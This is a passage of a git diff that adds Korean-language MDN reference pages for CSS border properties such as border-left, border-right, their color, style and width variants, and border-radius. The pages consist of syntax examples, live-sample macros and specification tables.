+  width: 200px;
+  background-color: #ffa;
+  border: 36px solid orange;
+  margin: 30px;
+  padding: 10px;
+
+  border-image:
+      url("https://mdn.mozillademos.org/files/4127/border.png")  /* 원본 이미지 */
+      27 /                    /* 슬라이스 */
+      36px 28px 18px 8px /    /* 너비 */
+      18px 14px 9px 4px       /* 거리 */
+      round;                  /* 반복 */
+}
+
+ +

결과

+ +

{{EmbedLiveSample('비트맵', '100%', 200)}}

+ +

그레이디언트

+ +

HTML

+ +
<div id="gradient">그레이디언트 기반 테두리 이미지에 둘러 쌓인 요소에요!</div>
+
+ +

CSS

+ +
#gradient {
+  width: 200px;
+  border: 30px solid;
+  border-image: repeating-linear-gradient(45deg, #f33, #3bf, #f33 30px) 60;
+  padding: 20px;
+}
+
+ +

결과

+ +

{{EmbedLiveSample('그레이디언트')}}

+ +

접근성 고려사항

+ +

보조 기술은 테두리 이미지를 읽을 수 없습니다. 이미지가 페이지 목적의 이해에 필수적인 정보를 갖고 있다면 문서에서 구조적으로 설명하는 편이 좋습니다.

+ + + +

명세

+ + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('CSS3 Backgrounds', '#the-border-image', 'border-image')}}{{Spec2('CSS3 Backgrounds')}}Initial definition
+ +

{{cssinfo}}

+ +

브라우저 호환성

+ + + +

{{Compat("css.properties.border-image")}}

+ +

같이 보기

+ +
    +
  • {{cssxref("border")}}
  • +
  • {{cssxref("outline")}}
  • +
  • {{cssxref("box-shadow")}}
  • +
  • {{cssxref("background-image")}}
  • +
  • {{cssxref("url()")}} 함수
  • +
  • 그레이디언트 함수: {{CSSxRef("conic-gradient")}}, {{CSSxRef("linear-gradient")}}, {{CSSxRef("repeating-linear-gradient")}}, {{CSSxRef("radial-gradient")}}, {{CSSxRef("repeating-radial-gradient")}}
  • +
diff --git a/files/ko/web/css/border-left-color/index.html b/files/ko/web/css/border-left-color/index.html new file mode 100644 index 0000000000..be69191773 --- /dev/null +++ b/files/ko/web/css/border-left-color/index.html @@ -0,0 +1,114 @@ +--- +title: border-left-color +slug: Web/CSS/border-left-color +tags: + - CSS + - CSS Borders + - CSS Property + - Reference +translation_of: Web/CSS/border-left-color +--- +
{{CSSRef}}
+ +

border-left-color CSS 속성은 요소의 왼쪽 테두리 색상을 지정합니다. {{cssxref("border-color")}} 또는 {{cssxref("border-left")}} 단축 속성으로도 지정할 수 있습니다.

+ +
{{EmbedInteractiveExample("pages/css/border-left-color.html")}}
+ + + +

구문

+ +
/* <color> 값 */
+border-left-color: red;
+border-left-color: #ffbb00;
+border-left-color: rgb(255, 0, 0);
+border-left-color: hsla(100%, 50%, 25%, 0.75);
+border-left-color: currentColor;
+border-left-color: transparent;
+
+/* 전역 값 */
+border-left-color: inherit;
+border-left-color: initial;
+border-left-color: unset;
+
+ +

border-left-color 속성은 하나의 값을 사용해 지정합니다.

+ +

+ +
+
{{cssxref("<color>")}}
+
왼쪽 테두리의 색상.
+
+ +

형식 구문

+ +
{{csssyntax}}
+ +

예제

+ +

테두리를 가진 간단한 상자

+ +

HTML

+ +
<div class="mybox">
+  <p>This is a box with a border around it.
+     Note which side of the box is
+     <span class="redtext">red</span>.</p>
+</div>
+ +

CSS

+ +
.mybox {
+  border: solid 0.3em gold;
+  border-left-color: red;
+    width: auto;
+}
+
+.redtext {
+  color: red;
+}
+ +

결과

+ +

{{EmbedLiveSample('테두리를_가진_간단한_상자')}}

+ +

명세

+ + + + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('CSS3 Backgrounds', '#border-left-color', 'border-left-color')}}{{Spec2('CSS3 Backgrounds')}}No significant changes, though the transparent keyword, now included in {{cssxref("<color>")}} which has been extended, has been formally removed.
{{SpecName('CSS2.1', 'box.html#propdef-border-left-color', 'border-left-color')}}{{Spec2('CSS2.1')}}Initial definition
+ +

{{cssinfo}}

+ +

브라우저 호환성

+ + + +

{{Compat("css.properties.border-left-color")}}

+ +

같이 보기

+ +
    +
  • 테두리 관련 CSS 단축 속성: {{cssxref("border")}}, {{cssxref("border-left")}}, {{cssxref("border-color")}}.
  • +
  • 다른 방향 테두리의 색상 관련 CSS 단축 속성: {{cssxref("border-top-color")}}, {{cssxref("border-right-color")}}, {{cssxref("border-bottom-color")}}.
  • +
  • 왼쪽 테두리 관련 CSS 속성: {{cssxref("border-left-style")}}, {{cssxref("border-left-width")}}.
  • +
diff --git a/files/ko/web/css/border-left-style/index.html b/files/ko/web/css/border-left-style/index.html new file mode 100644 index 0000000000..18bc232483 --- /dev/null +++ b/files/ko/web/css/border-left-style/index.html @@ -0,0 +1,134 @@ +--- +title: border-left-style +slug: Web/CSS/border-left-style +tags: + - CSS + - CSS Borders + - CSS Property + - Reference +translation_of: Web/CSS/border-left-style +--- +
{{CSSRef}}
+ +

border-left-style CSS 속성은 요소 테두리의 왼쪽 스타일을 지정합니다.

+ +
{{EmbedInteractiveExample("pages/css/border-left-style.html")}}
+ + + +
참고: 명세는 서로 다른 스타일의 테두리가 꼭지점에서 만날 때 어떻게 그려야 할지는 정의하고 있지 않습니다.
+ +

구문

+ +
/* 키워드 값 */
+border-left-style: none;
+border-left-style: hidden;
+border-left-style: dotted;
+border-left-style: dashed;
+border-left-style: solid;
+border-left-style: double;
+border-left-style: groove;
+border-left-style: ridge;
+border-left-style: inset;
+border-left-style: outset;
+
+/* 전역 값 */
+border-left-style: inherit;
+border-left-style: initial;
+border-left-style: unset;
+
+ +

border-left-style 속성은 {{cssxref("border-style")}} 속성에 사용할 수 있는 키워드 중 하나를 사용해 지정할 수 있습니다.

+ +

형식 구문

+ +
{{csssyntax}}
+ +

예제

+ +

HTML

+ +
<table>
+  <tr>
+    <td class="b1">none</td>
+    <td class="b2">hidden</td>
+    <td class="b3">dotted</td>
+    <td class="b4">dashed</td>
+  </tr>
+  <tr>
+    <td class="b5">solid</td>
+    <td class="b6">double</td>
+    <td class="b7">groove</td>
+    <td class="b8">ridge</td>
+  </tr>
+  <tr>
+    <td class="b9">inset</td>
+    <td class="b10">outset</td>
+  </tr>
+</table>
+ +

CSS

+ +
/* Define look of the table */
+table {
+  border-width: 2px;
+  background-color: #52E385;
+}
+tr, td {
+  padding: 3px;
+}
+
+/* border-left-style example classes */
+.b1 {border-left-style: none;}
+.b2 {border-left-style: hidden;}
+.b3 {border-left-style: dotted;}
+.b4 {border-left-style: dashed;}
+.b5 {border-left-style: solid;}
+.b6 {border-left-style: double;}
+.b7 {border-left-style: groove;}
+.b8 {border-left-style: ridge;}
+.b9 {border-left-style: inset;}
+.b10 {border-left-style: outset;}
+ +

결과

+ +

{{EmbedLiveSample('예제', 300, 200)}}

+ +

명세

+ + + + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('CSS3 Backgrounds', '#the-border-style', 'border-left-style')}}{{Spec2('CSS3 Backgrounds')}}No significant change.
{{SpecName('CSS2.1', 'box.html#border-style-properties', 'border-left-style')}}{{Spec2('CSS2.1')}}Initial definition.
+ +

{{cssinfo}}

+ +

브라우저 호환성

+ + + +

{{Compat("css.properties.border-left-style")}}

+ +

같이 보기

+ +
    +
  • 테두리 스타일 관련 CSS 속성: {{cssxref("border-top-style")}}, {{cssxref("border-right-style")}}, {{cssxref("border-bottom-style")}}, {{cssxref("border-style")}}.
  • +
  • 왼쪽 테두리 관련 CSS 속성: {{cssxref("border-left")}}, {{cssxref("border-left-color")}}, {{cssxref("border-left-width")}}.
  • +
diff --git a/files/ko/web/css/border-left-width/index.html b/files/ko/web/css/border-left-width/index.html new file mode 100644 index 0000000000..78687a842a --- /dev/null +++ b/files/ko/web/css/border-left-width/index.html @@ -0,0 +1,150 @@ +--- +title: border-left-width +slug: Web/CSS/border-left-width +tags: + - CSS + - CSS Borders + - CSS Property + - Reference + - 'recipe:css-property' +translation_of: Web/CSS/border-left-width +--- +
{{CSSRef}}
+ +

CSS border-left-width 속성은 요소의 왼쪽 테두리 너비를 지정합니다.

+ +
{{EmbedInteractiveExample("pages/css/border-left-width.html")}}
+ + + +

구문

+ +
/* 키워드 값 */
+border-left-width: thin;
+border-left-width: medium;
+border-left-width: thick;
+
+/* <length> 값 */
+border-left-width: 10em;
+border-left-width: 3vmax;
+border-left-width: 6px;
+
+/* 전역 값 */
+border-left-width: inherit;
+border-left-width: initial;
+border-left-width: unset;
+
+ +

+ +
+
<line-width>
+
테두리의 너비입니다. 0 이상의 {{cssxref("<length>")}} 또는 키워드를 사용할 수 있습니다. 키워드는 다음 세 가지 중 하나여야 합니다. + + + + + + + + + + + + + + + + + + +
thin +
+
얇은 테두리
medium +
+
중간 테두리
thick +
+
굵은 테두리
+ +
+

참고: 각 키워드의 굵기를 정의한 명세는 없기 때문에 결과는 구현별로 상이할 수 있습니다. 다만 굵기는 언제나 thin ≤ medium ≤ thick이고, 하나의 문서 내에서 동일합니다.

+
+
+
+ +

형식 정의

+ +

{{cssinfo}}

+ +

형식 구문

+ +
{{csssyntax}}
+ +

예제

+ +

테두리의 너비 비교

+ +

HTML

+ +
<div>Element 1</div>
+<div>Element 2</div>
+ +

CSS

+ +
div {
+  border: 1px solid red;
+  margin: 1em 0;
+}
+
+div:nth-child(1) {
+  border-left-width: thick;
+}
+div:nth-child(2) {
+  border-left-width: 2em;
+}
+ +

결과

+ +

{{EmbedLiveSample('테두리의_너비_비교', '100%')}}

+ +

명세

+ + + + + + + + + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('CSS3 Backgrounds', '#the-border-width', 'border-left-width')}}{{Spec2('CSS3 Backgrounds')}}No significant change.
{{SpecName('CSS2.1', 'box.html#border-width-properties', 'border-left-width')}}{{Spec2('CSS2.1')}}No significant change.
{{SpecName('CSS1', '#border-left-width', 'border-left-width')}}{{Spec2('CSS1')}}Initial definition.
+ +

브라우저 호환성

+ + + +

{{Compat("css.properties.border-left-width")}}

+ +

같이 보기

+ +
    +
  • 테두리 너비 관련 CSS 속성: {{Cssxref("border-top-width")}}, {{Cssxref("border-right-width")}}, {{Cssxref("border-bottom-width")}}, and {{Cssxref("border-width")}}.
  • +
  • 왼쪽 테두리 관련 CSS 속성: {{Cssxref("border")}}, {{Cssxref("border-left")}}, {{Cssxref("border-left-style")}}, and {{Cssxref("border-left-color")}}.
  • +
diff --git a/files/ko/web/css/border-left/index.html b/files/ko/web/css/border-left/index.html new file mode 100644 index 0000000000..cf9b0547df --- /dev/null +++ b/files/ko/web/css/border-left/index.html @@ -0,0 +1,109 @@ +--- +title: border-left +slug: Web/CSS/border-left +tags: + - CSS + - CSS Borders + - CSS Property + - Reference + - 테두리 +translation_of: Web/CSS/border-left +--- +
{{CSSRef}}
+ +

border-left CSS 단축 속성은 요소의 왼쪽 테두리를 설정합니다. {{cssxref("border-left-width")}}, {{cssxref("border-left-style")}}, {{cssxref("border-left-color")}}의 값을 지정합니다.

+ +
{{EmbedInteractiveExample("pages/css/border-left.html")}}
+ + + +

다른 단축 속성과 마찬가지로, border-left는 자신이 포함한 모든 값을 지정하며 사용자가 명시하지 않은 속성도 기본값으로 설정합니다. 즉, 아래 두 코드는 사실 동일합니다.

+ +
border-left-style: dotted;
+border-left: thick green;
+
+ +
border-left-style: dotted;
+border-left: none thick green;
+
+ +

따라서 border-left보다 먼저 지정한 {{cssxref("border-left-style")}}의 값은 무시됩니다. {{cssxref("border-left-style")}}의 기본값은 none이므로, border-style을 명시하지 않으면 테두리를 만들지 않습니다.

+ +

구문

+ +
border-left: 1px;
+border-left: 2px dotted;
+border-left: medium dashed green;
+
+ +

border-left은 한 개에서 세 개의 값을 사용해 지정할 수 있고, 순서는 상관하지 않습니다.

+ +

+ +
+
<br-width>
+
{{cssxref("border-left-width")}}.
+
<br-style>
+
{{cssxref("border-left-style")}}.
+
{{cssxref("<color>")}}
+
{{cssxref("border-left-color")}}.
+
+ +

형식 구문

+ +
{{csssyntax}}
+ +

예제

+ +
<div>
+  왼쪽 테두리를 가진 요소입니다.
+</div>
+ +
div {
+  border-left: 4px dashed blue;
+  background-color: gold;
+  height: 100px;
+  width: 100px;
+  font-weight: bold;
+  text-align: center;
+}
+
+ +

{{EmbedLiveSample('예제')}}

+ +

명세

+ + + + + + + + + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('CSS3 Backgrounds', '#border-left', 'border-left')}}{{Spec2('CSS3 Backgrounds')}}No direct changes, though the modification of values for the {{cssxref("border-left-color")}} do apply to it.
{{SpecName('CSS2.1', 'box.html#propdef-border-left', 'border-left')}}{{Spec2('CSS2.1')}}No significant changes.
{{SpecName('CSS1', '#border-left', 'border-left')}}{{Spec2('CSS1')}}Initial definition
+ +
{{cssinfo}}
+ +

브라우저 호환성

+ + + +

{{Compat("css.properties.border-left")}}

diff --git a/files/ko/web/css/border-radius/index.html b/files/ko/web/css/border-radius/index.html new file mode 100644 index 0000000000..3c9c812d36 --- /dev/null +++ b/files/ko/web/css/border-radius/index.html @@ -0,0 +1,228 @@ +--- +title: border-radius +slug: Web/CSS/border-radius +tags: + - CSS + - CSS Borders + - CSS Property + - Reference + - 'recipe:css-shorthand-property' +translation_of: Web/CSS/border-radius +--- +
{{CSSRef}}
+ +

CSS border-radius 속성은 요소 테두리 경계의 꼭짓점을 둥글게 만듭니다. 하나의 값을 사용해 원형 꼭짓점을, 두 개의 값을 사용해 타원형 꼭짓점을 적용할 수 있습니다.

+ +
{{EmbedInteractiveExample("pages/css/border-radius.html")}}
+ + + +

꼭짓점 반경은 요소의 테두리 존재 여부와는 별개로 전체 {{Cssxref("background")}}에 적용됩니다. 원형 꼭짓점으로 인해 배경이 잘리는 지점은 {{cssxref("background-clip")}} 속성이 지정합니다.

+ +

{{cssxref("border-collapse")}}의 값이 collapse인 표 요소는 border-radius 속성의 영향을 받지 않습니다.

+ +
참고: 다른 단축 속성과 마찬가지로, 각각의 하위 속성이 부모를 상속하도록 할 수는 없습니다. 즉, border-radius: 0 0 inherit inherit처럼 일부만 재정의할 수 없습니다. 대신, 원래의 본디속성을 하나씩 사용하세요.
+ +

구성 속성

+ +

border-radius는 다음 CSS 속성의 단축 속성입니다.

+ +
    +
  • {{cssxref("border-bottom-left-radius")}}
  • +
  • {{cssxref("border-bottom-right-radius")}}
  • +
  • {{cssxref("border-top-left-radius")}}
  • +
  • {{cssxref("border-top-right-radius")}}
  • +
+ +

구문

+ +
/* The syntax of the first radius allows one to four values */
+/* Radius is set for all 4 sides */
+border-radius: 10px;
+
+/* top-left-and-bottom-right | top-right-and-bottom-left */
+border-radius: 10px 5%;
+
+/* top-left | top-right-and-bottom-left | bottom-right */
+border-radius: 2px 4px 2px;
+
+/* top-left | top-right | bottom-right | bottom-left */
+border-radius: 1px 0 3px 4px;
+
+/* The syntax of the second radius allows one to four values */
+/* (first radius values) / radius */
+border-radius: 10px 5% / 20px;
+
+/* (first radius values) / top-left-and-bottom-right | top-right-and-bottom-left */
+border-radius: 10px 5% / 20px 30px;
+
+/* (first radius values) / top-left | top-right-and-bottom-left | bottom-right */
+border-radius: 10px 5px 2em / 20px 25px 30%;
+
+/* (first radius values) / top-left | top-right | bottom-right | bottom-left */
+border-radius: 10px 5% / 20px 25em 30px 35em;
+
+/* Global values */
+border-radius: inherit;
+border-radius: initial;
+border-radius: unset;
+ +

border-radius 속성은 다음 방법으로 지정할 수 있습니다.

+ +
    +
  • 한 개에서 네 개의 {{cssxref("<length>")}} 또는 {{cssxref("<percentage>")}} 값은 꼭짓점의 단일 반지름을 설정합니다.
  • +
  • 선택적으로 "/" 이후에 한 개에서 네 개의 <length> 또는 <percentage> 값을 사용해 추가 반지름을 설정해서 타원형 꼭짓점을 만들 수 있습니다.
  • +
+ +

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
radiusall-corner.png테두리의 각 꼭짓점 반지름을 나타내는 {{cssxref("<length>")}} 또는 {{cssxref("<percentage>")}}. 한 개 값 구문에서만 사용합니다.
top-left-and-bottom-righttop-left-bottom-right.png왼쪽 위와 오른쪽 아래 꼭짓점의 반지름을 나타내는 {{cssxref("<length>")}} 또는 {{cssxref("<percentage>")}}. 두 개 값 구문에서만 사용합니다.
top-right-and-bottom-lefttop-right-bottom-left.png오른쪽 위와 왼쪽 아래 꼭짓점의 반지름을 나타내는 {{cssxref("<length>")}} 또는 {{cssxref("<percentage>")}}. 두 개 또는 세 개 값 구문에서만 사용합니다.
top-lefttop-left.png왼쪽 위 꼭짓점의 반지름을 나타내는 {{cssxref("<length>")}} 또는 {{cssxref("<percentage>")}}. 세 개 또는 네 개 값 구문에서만 사용합니다.
top-righttop-right.png오른쪽 위 꼭짓점의 반지름을 나타내는 {{cssxref("<length>")}} 또는 {{cssxref("<percentage>")}}. 네 개 값 구문에서만 사용합니다.
bottom-rightbottom-rigth.png오른쪽 아래 꼭짓점의 반지름을 나타내는 {{cssxref("<length>")}} 또는 {{cssxref("<percentage>")}}. 네 개 값 구문에서만 사용합니다.
bottom-leftbottom-left.png왼쪽 아래 꼭짓점의 반지름을 나타내는 {{cssxref("<length>")}} 또는 {{cssxref("<percentage>")}}. 네 개 값 구문에서만 사용합니다.
+ +
+
{{cssxref("<length>")}}
+
길이 값을 사용해 원의 반지름 또는 타원의 짧은반지름과 긴반지름을 지정합니다. 음의 값은 유효하지 않습니다.
+
{{cssxref("<percentage>")}}
+
백분율 값을 사용해 원의 반지름 또는 타원의 짧은반지름과 긴반지름을 지정합니다. 가로축 값은 요소 박스의 너비에 대한 백분율이고, 세로축 값은 박스의 높이에 대한 백분율입니다. 음의 값은 유효하지 않습니다.
+
+ +

예를 들어...

+ +
border-radius: 1em/5em;
+
+/* 아래와 같음 */
+border-top-left-radius:     1em 5em;
+border-top-right-radius:    1em 5em;
+border-bottom-right-radius: 1em 5em;
+border-bottom-left-radius:  1em 5em;
+
+ +
border-radius: 4px 3px 6px / 2px 4px;
+
+/* 아래와 같음 */
+border-top-left-radius:     4px 2px;
+border-top-right-radius:    3px 4px;
+border-bottom-right-radius: 6px 2px;
+border-bottom-left-radius:  3px 4px;
+
+ +

형식 정의

+ +

{{cssinfo}}

+ +

형식 구문

+ +
{{csssyntax}}
+
+ +

예제

+ +
  border: solid 10px;
+  /* 테두리가 'D'형태가 됨 */
+  border-radius: 10px 40px 40px 10px;
+
+ +
  border: groove 1em red;
+  border-radius: 2em;
+
+ +
  background: gold;
+  border: ridge gold;
+  border-radius: 13em/3em;
+
+ +
  border: none;
+  border-radius: 40px 10px;
+
+ +
  border: none;
+  border-radius: 50%;
+
+ +
  border: dotted;
+  border-width: 10px 4px;
+  border-radius: 10px 40px;
+
+ +
  border: dashed;
+  border-width: 2px 4px;
+  border-radius: 40px;
+
+ +

라이브 샘플

+ +
    +
  1. http://jsfiddle.net/Tripad/qnGKj/2/
  2. +
  3. http://jsfiddle.net/Tripad/qnGKj/3/
  4. +
  5. http://jsfiddle.net/Tripad/qnGKj/4/
  6. +
  7. http://jsfiddle.net/Tripad/qnGKj/5/
  8. +
  9. http://jsfiddle.net/Tripad/qnGKj/6/
  10. +
+ +

명세

+ + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{ SpecName('CSS3 Backgrounds', '#border-radius', 'border-radius') }}{{ Spec2('CSS3 Backgrounds') }}
+ +

브라우저 호환성

+ + + +

{{Compat("css.properties.border-radius")}}

+ +

같이 보기

+ +
    +
  • 꼭짓점 반경 관련 CSS 속성: {{Cssxref("border-top-left-radius")}}, {{Cssxref("border-top-right-radius")}}, {{Cssxref("border-bottom-right-radius")}}, {{Cssxref("border-bottom-left-radius")}}
  • +
diff --git a/files/ko/web/css/border-right-color/index.html b/files/ko/web/css/border-right-color/index.html new file mode 100644 index 0000000000..c6292d566b --- /dev/null +++ b/files/ko/web/css/border-right-color/index.html @@ -0,0 +1,114 @@ +--- +title: border-right-color +slug: Web/CSS/border-right-color +tags: + - CSS + - CSS Borders + - CSS Property + - Reference +translation_of: Web/CSS/border-right-color +--- +
{{CSSRef}}
+ +

border-right-color CSS 속성은 요소의 오른쪽 테두리 색상을 지정합니다. {{cssxref("border-color")}} 또는 {{cssxref("border-right")}} 단축 속성으로도 지정할 수 있습니다.

+ +
{{EmbedInteractiveExample("pages/css/border-right-color.html")}}
+ + + +

구문

+ +
/* <color> 값 */
+border-right-color: red;
+border-right-color: #ffbb00;
+border-right-color: rgb(255, 0, 0);
+border-right-color: hsla(100%, 50%, 25%, 0.75);
+border-right-color: currentColor;
+border-right-color: transparent;
+
+/* 전역 값 */
+border-right-color: inherit;
+border-right-color: initial;
+border-right-color: unset;
+
+ +

border-right-color 속성은 하나의 값을 사용해 지정합니다.

+ +

+ +
+
{{cssxref("<color>")}}
+
오른쪽 테두리의 색상.
+
+ +

형식 구문

+ +
{{csssyntax}}
+ +

예제

+ +

테두리를 가진 간단한 상자

+ +

HTML

+ +
<div class="mybox">
+  <p>This is a box with a border around it.
+     Note which side of the box is
+     <span class="redtext">red</span>.</p>
+</div>
+ +

CSS

+ +
.mybox {
+  border: solid 0.3em gold;
+  border-right-color: red;
+    width: auto;
+}
+
+.redtext {
+  color: red;
+}
+ +

결과

+ +

{{EmbedLiveSample('테두리를_가진_간단한_상자')}}

+ +

명세

+ + + + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('CSS3 Backgrounds', '#border-right-color', 'border-right-color')}}{{Spec2('CSS3 Backgrounds')}}No significant changes, though the transparent keyword, now included in {{cssxref("<color>")}} which has been extended, has been formally removed.
{{SpecName('CSS2.1', 'box.html#propdef-border-right-color', 'border-right-color')}}{{Spec2('CSS2.1')}}Initial definition
+ +

{{cssinfo}}

+ +

브라우저 호환성

+ + + +

{{Compat("css.properties.border-right-color")}}

+ +

같이 보기

+ +
    +
  • 테두리 관련 CSS 단축 속성: {{cssxref("border")}}, {{cssxref("border-right")}}, {{cssxref("border-color")}}.
  • +
  • 다른 방향 테두리의 색상 관련 CSS 단축 속성: {{cssxref("border-top-color")}}, {{cssxref("border-bottom-color")}}, {{cssxref("border-left-color")}}.
  • +
  • 오른쪽 테두리 관련 CSS 속성: {{cssxref("border-right-style")}}, {{cssxref("border-right-width")}}.
  • +
diff --git a/files/ko/web/css/border-right-style/index.html b/files/ko/web/css/border-right-style/index.html new file mode 100644 index 0000000000..291595d8d1 --- /dev/null +++ b/files/ko/web/css/border-right-style/index.html @@ -0,0 +1,134 @@ +--- +title: border-right-style +slug: Web/CSS/border-right-style +tags: + - CSS + - CSS Borders + - CSS Property + - Reference +translation_of: Web/CSS/border-right-style +--- +
{{CSSRef}}
+ +

border-right-style CSS 속성은 요소 테두리의 오른쪽 스타일을 지정합니다.

+ +
{{EmbedInteractiveExample("pages/css/border-right-style.html")}}
+ + + +
참고: 명세는 서로 다른 스타일의 테두리가 꼭지점에서 만날 때 어떻게 그려야 할지는 정의하고 있지 않습니다.
+ +

구문

+ +
/* 키워드 값 */
+border-right-style: none;
+border-right-style: hidden;
+border-right-style: dotted;
+border-right-style: dashed;
+border-right-style: solid;
+border-right-style: double;
+border-right-style: groove;
+border-right-style: ridge;
+border-right-style: inset;
+border-right-style: outset;
+
+/* 전역 값 */
+border-right-style: inherit;
+border-right-style: initial;
+border-right-style: unset;
+
+ +

border-right-style 속성은 {{cssxref("border-style")}} 속성에 사용할 수 있는 키워드 중 하나를 사용해 지정할 수 있습니다.

+ +

형식 구문

+ +
{{csssyntax}}
+ +

예제

+ +

HTML

+ +
<table>
+  <tr>
+    <td class="b1">none</td>
+    <td class="b2">hidden</td>
+    <td class="b3">dotted</td>
+    <td class="b4">dashed</td>
+  </tr>
+  <tr>
+    <td class="b5">solid</td>
+    <td class="b6">double</td>
+    <td class="b7">groove</td>
+    <td class="b8">ridge</td>
+  </tr>
+  <tr>
+    <td class="b9">inset</td>
+    <td class="b10">outset</td>
+  </tr>
+</table>
+ +

CSS

+ +
/* Define look of the table */
+table {
+  border-width: 2px;
+  background-color: #52E385;
+}
+tr, td {
+  padding: 3px;
+}
+
+/* border-right-style example classes */
+.b1 {border-right-style: none;}
+.b2 {border-right-style: hidden;}
+.b3 {border-right-style: dotted;}
+.b4 {border-right-style: dashed;}
+.b5 {border-right-style: solid;}
+.b6 {border-right-style: double;}
+.b7 {border-right-style: groove;}
+.b8 {border-right-style: ridge;}
+.b9 {border-right-style: inset;}
+.b10 {border-right-style: outset;}
+ +

결과

+ +

{{EmbedLiveSample('예제', 300, 200)}}

+ +

명세

+ + + + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('CSS3 Backgrounds', '#the-border-style', 'border-right-style')}}{{Spec2('CSS3 Backgrounds')}}No significant change.
{{SpecName('CSS2.1', 'box.html#border-style-properties', 'border-right-style')}}{{Spec2('CSS2.1')}}Initial definition.
+ +

{{cssinfo}}

+ +

브라우저 호환성

+ + + +

{{Compat("css.properties.border-right-style")}}

+ +

같이 보기

+ +
    +
  • 테두리 스타일 관련 CSS 속성: {{cssxref("border-top-style")}}, {{cssxref("border-bottom-style")}}, {{cssxref("border-left-style")}}, {{cssxref("border-style")}}.
  • +
  • 오른쪽 테두리 관련 CSS 속성: {{cssxref("border-right")}}, {{cssxref("border-right-color")}}, {{cssxref("border-right-width")}}.
  • +
diff --git a/files/ko/web/css/border-right-width/index.html b/files/ko/web/css/border-right-width/index.html new file mode 100644 index 0000000000..60c3a4e564 --- /dev/null +++ b/files/ko/web/css/border-right-width/index.html @@ -0,0 +1,150 @@ +--- +title: border-right-width +slug: Web/CSS/border-right-width +tags: + - CSS + - CSS Borders + - CSS Property + - Reference + - 'recipe:css-property' +translation_of: Web/CSS/border-right-width +--- +
{{CSSRef}}
+ +

CSS border-right-width 속성은 요소의 오른쪽 테두리 너비를 지정합니다.

+ +
{{EmbedInteractiveExample("pages/css/border-right-width.html")}}
+ + + +

구문

+ +
/* 키워드 값*/
+border-right-width: thin;
+border-right-width: medium;
+border-right-width: thick;
+
+/* <length> 값 */
+border-right-width: 10em;
+border-right-width: 3vmax;
+border-right-width: 6px;
+
+/* 전역 값 */
+border-right-width: inherit;
+border-right-width: initial;
+border-right-width: unset;
+
+ +

+ +
+
<line-width>
+
테두리의 너비입니다.0 이상의 {{cssxref("<length>")}} 또는 키워드를 사용할 수 있습니다. 키워드는 다음 세 가지 중 하나여야 합니다. + + + + + + + + + + + + + + + + + + +
thin +
+
얇은 테두리
medium +
+
중간 테두리
thick +
+
굵은 테두리
+ +
+

참고: 각 키워드의 굵기를 정의한 명세는 없기 때문에 결과는 구현별로 상이할 수 있습니다. 다만 굵기는 언제나 thin ≤ medium ≤ thick이고, 하나의 문서 내에서 동일합니다.

+
+
+
+ +

형식 정의

+ +

{{cssinfo}}

+ +

형식 구문

+ +
{{csssyntax}}
+ +

예제

+ +

테두리의 너비 비교

+ +

HTML

+ +
<div>Element 1</div>
+<div>Element 2</div>
+ +

CSS

+ +
div {
+  border: 1px solid red;
+  margin: 1em 0;
+}
+
+div:nth-child(1) {
+  border-right-width: thick;
+}
+div:nth-child(2) {
+  border-right-width: 2em;
+}
+ +

결과

+ +

{{EmbedLiveSample('테두리의_너비_비교', '100%')}}

+ +

명세

+ + + + + + + + + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('CSS3 Backgrounds', '#the-border-width', 'border-right-width')}}{{Spec2('CSS3 Backgrounds')}}No significant change.
{{SpecName('CSS2.1', 'box.html#border-width-properties', 'border-right-width')}}{{Spec2('CSS2.1')}}No significant change.
{{SpecName('CSS1', '#border-left-width', 'border-right-width')}}{{Spec2('CSS1')}}Initial definition.
+ +

브라우저 호환성

+ + + +

{{Compat("css.properties.border-right-width")}}

+ +

같이 보기

+ +
    +
  • 테두리 너비 관련 CSS 속성: {{Cssxref("border-bottom-width")}}, {{Cssxref("border-left-width")}}, {{Cssxref("border-top-width")}}, and {{Cssxref("border-width")}}.
  • +
  • 오른쪽 테두리 관련 CSS 속성: {{Cssxref("border")}}, {{Cssxref("border-right")}}, {{Cssxref("border-right-style")}}, and {{Cssxref("border-right-color")}}.
  • +
diff --git a/files/ko/web/css/border-right/index.html b/files/ko/web/css/border-right/index.html new file mode 100644 index 0000000000..557dbeba89 --- /dev/null +++ b/files/ko/web/css/border-right/index.html @@ -0,0 +1,109 @@ +--- +title: border-right +slug: Web/CSS/border-right +tags: + - CSS + - CSS Borders + - CSS Property + - Reference + - 테두리 +translation_of: Web/CSS/border-right +--- +
{{CSSRef}}
+ +

border-right CSS 단축 속성은 요소의 오른쪽 테두리를 설정합니다. {{cssxref("border-right-width")}}, {{cssxref("border-right-style")}}, {{cssxref("border-right-color")}}의 값을 지정합니다.

+ +
{{EmbedInteractiveExample("pages/css/border-right.html")}}
+ + + +

다른 단축 속성과 마찬가지로, border-right는 자신이 포함한 모든 값을 지정하며 사용자가 명시하지 않은 속성도 기본값으로 설정합니다. 즉, 아래 두 코드는 사실 동일합니다.

+ +
border-right-style: dotted;
+border-right: thick green;
+
+ +
border-right-style: dotted;
+border-right: none thick green;
+
+ +

따라서 border-right보다 먼저 지정한 {{cssxref("border-right-style")}}의 값은 무시됩니다. {{cssxref("border-right-style")}}의 기본값은 none이므로, border-style을 명시하지 않으면 테두리를 만들지 않습니다.

+ +

구문

+ +
border-right: 1px;
+border-right: 2px dotted;
+border-right: medium dashed green;
+
+ +

border-right은 한 개에서 세 개의 값을 사용해 지정할 수 있고, 순서는 상관하지 않습니다.

+ +

+ +
+
<br-width>
+
{{cssxref("border-right-width")}}.
+
<br-style>
+
{{cssxref("border-right-style")}}.
+
{{cssxref("<color>")}}
+
{{cssxref("border-right-color")}}.
+
+ +

형식 구문

+ +
{{csssyntax}}
+ +

예제

+ +
<div>
+  오른쪽 테두리를 가진 요소입니다.
+</div>
+ +
div {
+  border-right: 4px dashed blue;
+  background-color: gold;
+  height: 100px;
